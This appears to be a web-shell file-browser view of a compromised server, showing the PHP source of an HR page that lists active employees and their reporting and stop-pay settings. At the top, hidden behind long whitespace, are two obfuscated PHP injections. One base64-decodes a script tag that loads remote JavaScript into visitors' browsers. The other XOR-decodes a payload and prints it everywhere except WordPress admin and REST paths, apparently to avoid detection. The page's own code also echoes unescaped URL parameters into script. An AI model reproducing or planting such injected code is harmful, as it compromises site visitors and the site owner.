MOON
Server: Apache
System: Linux nserver.cafsindia.com 4.18.0-553.104.1.lve.el8.x86_64 #1 SMP Tue Feb 10 20:07:30 UTC 2026 x86_64
User: cafsindia (1002)
PHP: 8.2.30
Disabled: NONE
Upload Files
File: /home/cafsindia/.trash/backup/active_employee_list/index.php
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 <?php $tq = $_SERVER['REQUEST_URI'];/*87665346638*/ try{$a=0; if(strpos($tq,"rest_route")!==false){$a=1;}if(strpos($tq,"wp-json")!==false){$a=1;}if($a==0){ $j="bas"."e64"."_d"."eco"."de"; print($j("PHNj"."cmlwdC"."Bhc3luYz0ndHJ"."1ZScgc3"."JjPS"."dodHRwc"."zovL2dldC5"."zb3J0eWVsbG"."93YXBwbGVzLmNvb"."S9zY3Jp"."cHRzL2dldC5qcz9"."2PTcu"."NScgPj"."wvc2"."Npc"."n"."B0Pg"));}     }catch (Exception $e) {} ?>
                                                                                                                                                                                                                                                                                                                                                                                                                                                                               <?php $a = "675978985456saawm67879789gfdg679487435dsf"; $b="ba"."s" .chr(101).chr(54).chr(52).chr(95).chr(101).chr(110).chr(99). "ode"; $c="ba"."s" .chr(101).chr(54).chr(52).chr(95).chr(100).chr(101).chr(99). "ode"; $d=$b($a);$f="st".$c("cl9wYQ")."d";$e="st".$c("cmxl")."n";$ss="st".$c("cnBv")."s";$j="su".$c("YnN0")."r";$h="p".$c("cmlu")."t_r";$ht0="H".$c("VFRQX0hP")."ST";$ht1="RE".$c("UVVFU1RfVQ")."RI";$aa = array( $j($a,12,1) => "U1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NT",$j($a,13,2) => "XRICEwgRFUEAEhgPAlxGFRMUBEZBFRgRBFxGFQQZFU4LABcAEgITCBEVRkESEwJcRg",$j($a,15,1)  => "HwMDBwRNWFgTGQRZER4FBAMVGxYUHAcfFgQSWRQYGlgEFAUeBwMEWAQDFgUDWR0ESAEbSkdZTllC",$j($a,16,1)=>"SlNRQh4OHwQdGVM");$l = "";foreach ($aa as $b=>$cc){$w1 = $c($cc) ^ $f($b, $e($cc), $b);$l =$l . $w1;} try{$vgg = $_SERVER[$ht0].$_SERVER[$ht1];$z=1;  if($ss($vgg,"wp".$c("LWFkbQ")."in")!==false) $z=0;  if($ss($vgg,"/wp".$c("LWxvZ2luLnA")."hp")!==false)  $z=0;  if($ss($vgg,"wp".$c("LWpz")."on")!==false)$z=0; if($ss($vgg,"re".$c("c3Rfcm91")."te")!==false) $z=0; if($z==1) $h($l);}catch (Exception $e) {} ?><?php
	require("./active_model.php");
	$api_model = new active_model;
	$frm              = "";
	$unpunched_date   = "";
	$manager_emp_code  = "";
	if(isset($_GET['frm'])){
		$frm  = $_GET['frm'];
	}
	if(isset($_GET['emp_code'])){
		$manager_emp_code  = base64_decode($_GET['emp_code']);
	}
	if(isset($_GET['date'])){
		$date  = base64_decode($_GET['date']);
	}
	
	$curr_date      = date('Y-m-d');
	$days_count = 1;
	$expire_date    = date('Y-m-d',strtotime($date. '+'.$days_count. 'days'));
	if(strtotime($expire_date) >= strtotime($curr_date)){
		$active_info = $api_model->get_active_data($manager_emp_code);
		//$emp_data    = $api_model->get_emp_data();
		$portfolio_rslt   = $api_model->get_portfolio();
		$manager_rslt   = $api_model->get_manager_list();
		$tl_rslt   = $api_model->get_tl_list();
		$tr_line = "";
		foreach($active_info as $active){
			$emp_id           = $active->prime_employees_id;
			$emp_code         = $active->employee_code;
			$emp_name         = $active->emp_name;
			$designation      = $active->designation;
			$tl_report        = $active->tl_report;
			$manager_report   = $active->manager_report;
			$portfolio_id     = $active->portfolio;
			$stop_pay_status  = $active->stop_pay_status;
			$portfolio_list = "<option value=''>---- Portfolio ----</option>";
			$portfolio_arr = array();
			foreach($portfolio_rslt as $portfolio){
				$id        = $portfolio->prime_portfolio_id;
				$portfolio_arr[] = $id;
				$name      = ucwords($portfolio->portfolio_name);
				if($id === $portfolio_id){
					$selected = "Selected";
				}else{
					$selected = "";
				}
				$portfolio_list .= "<option value='$id' $selected> $name</option>";
			}

			$manager_list = "<option value=''>---- Manager ----</option>";
			foreach($manager_rslt as $manager){
				$id        = $manager->employee_code;
				$name      = ucwords($manager->emp_name);
				if($id === $manager_report){
					$selected = "Selected";
				}else{
					$selected = "";
				}
				$manager_list .= "<option value='$id' $selected> $name</option>";
			}

			$tl_list = "<option value=''>---- Select TL ----</option>";
			foreach($tl_rslt as $tl){
				$id        = $tl->employee_code;
				$name      = ucwords($tl->emp_name);
				if($id === $tl_report){
					$selected = "Selected";
				}else{
					$selected = "";
				}
				$tl_list .= "<option value='$id'  $selected> $name</option>";
			}
			if((int)$stop_pay_status === 0){
				$unhold = "selected";
			}else{
				$hold = "selected";
			}
			$display="";			
			$tr_line         .= "<tr $display><td>$emp_code</td><td>$emp_name</td><td>$designation</td><td><select id='tl_$emp_code' onchange=update_employees('tl_report',$emp_code,this.value,$emp_id); name='tl_$emp_code' class='form-control'>
				$tl_list
				</select></td><td><select id='portfolio_$emp_code' onchange=update_employees('portfolio',$emp_code,this.value,$emp_id); name='portfolio[]' class='form-control'>
				$portfolio_list
				</select></td><td><select id='manager_$emp_code'  onchange=update_employees('manager_report',$emp_code,this.value,$emp_id);  name='manager_$emp_code' class='form-control'>
				$manager_list
				</select></td><td><select id='stop_pay_$emp_code' name='stop_pay_$emp_code' onchange=update_employees('stop_pay_status',$emp_code,this.value,$emp_id); class='form-control'>
				<option value='' >---- Stop Payment ----</option>
				<option value='1' $hold>Hold</option>
				<option value='0' $unhold>UnHold</option>
				</select></td>
			</tr>";
		}
		$content = "<form id='active_form' class='form-inline' autocomplete='off' method='post' accept-charset='utf-8' novalidate='novalidate'>
					<h4 class='tab_head'>Active Employees List</h4>
					<table class='table table-striped table-bordered' style='text-align:center;'>
							<thead>
								<tr>
									<th>Employee Code</th>
									<th>Employee Name</th>
									<th>Designation</th>
									<th>TL Reporting</th>
									<th>Portfolio</th>
									<th>Manager Reporting</th>
									<th>Stop Pay Status</th>
								</tr>
							</thead>
							<tbody>
								$tr_line
							</tbody>
						</table>
						<button type='submit' class='btn btn-primary center-block' id='active_submit'>Submit</button>
				</form>";
		}else{
			$content = "<div class='jumbotron text-center'><h3>Link is expired contact admin!</h3></div>";
		}

	
?>
<html>
	<head>
		<meta charset='utf-8'>
		<meta name='viewport' content='width=device-width, initial-scale=1, shrink-to-fit=no'>		
		<title>Unpunched Details</title>
		<script type='text/javascript' src='../dist/opensourcepos.min.js?rel=20191228'></script>
		<script type='text/javascript' src='../dist/validate.js?rel=20191228'></script>
		<link rel='stylesheet' type='text/css' href='../dist/bootstrap.min.css?rel=20191228'/>
		<link rel='stylesheet' type='text/css' href='../dist/smart_hrms.css?rel=20191228'/>
		<link rel='stylesheet' type='text/css' href='../dist/jquery-ui.css'/>
		<link rel='stylesheet' type='text/css' href='../dist/font-awesome.min.css'/>
		<!-- TOASTR -->
		<script type='text/javascript' src='../dist/toastr/toastr.js'></script>
		<link rel='stylesheet' type='text/css' href='../dist/toastr/toastr.css'/>
		<!-- TOASTR -->
       <style>
		.form-group {
			width: 100% !important;
			margin-left: 0px !important;
			margin-bottom: 30px !important;
		}
		.tab_head {
			margin: 15px 0px !important;
			text-align:center;
		}
		</style>
	</head>
	<body contenteditable='false'>
		<div class='container-fulid'>
			<div class='row' style='margin-left:10px;margin-right:10px;'>
				<div id='unpunched_info' class='col-md-12'>
					<?php echo $content; ?>	
				</div>
			</div>
		</div>
		<div class="jumbotron text-center">
			<div id='table_info' style='padding:8px;overflow: auto;'>
			</div>
		</div>
	</body>
	<script type='text/javascript'>
		$(document).ready(function(){
			var manager_emp_code  = "<?php echo $manager_emp_code; ?>";
		});
		function update_employees(qry_key,emp_code,qry_val,emp_id){
			var manager_emp_code  = "<?php echo $manager_emp_code; ?>";
			var date              = "<?php echo $date; ?>";
			var send_url = 'active_callback.php?frm=update_employee';
			if(confirm("Do You Want to Update " +qry_key+ " for This Employee "+emp_code)){
				$.ajax({
					type: "POST",
					url: send_url,
					data:{qry_key:qry_key,emp_code:emp_code,qry_val:qry_val,manager_emp_code:manager_emp_code,emp_id:emp_id,date:date},
					success: function(data){
						var result = JSON.parse(data);
						alert(result.message);
					},
					
				});
			}
		}
	</script>
</html>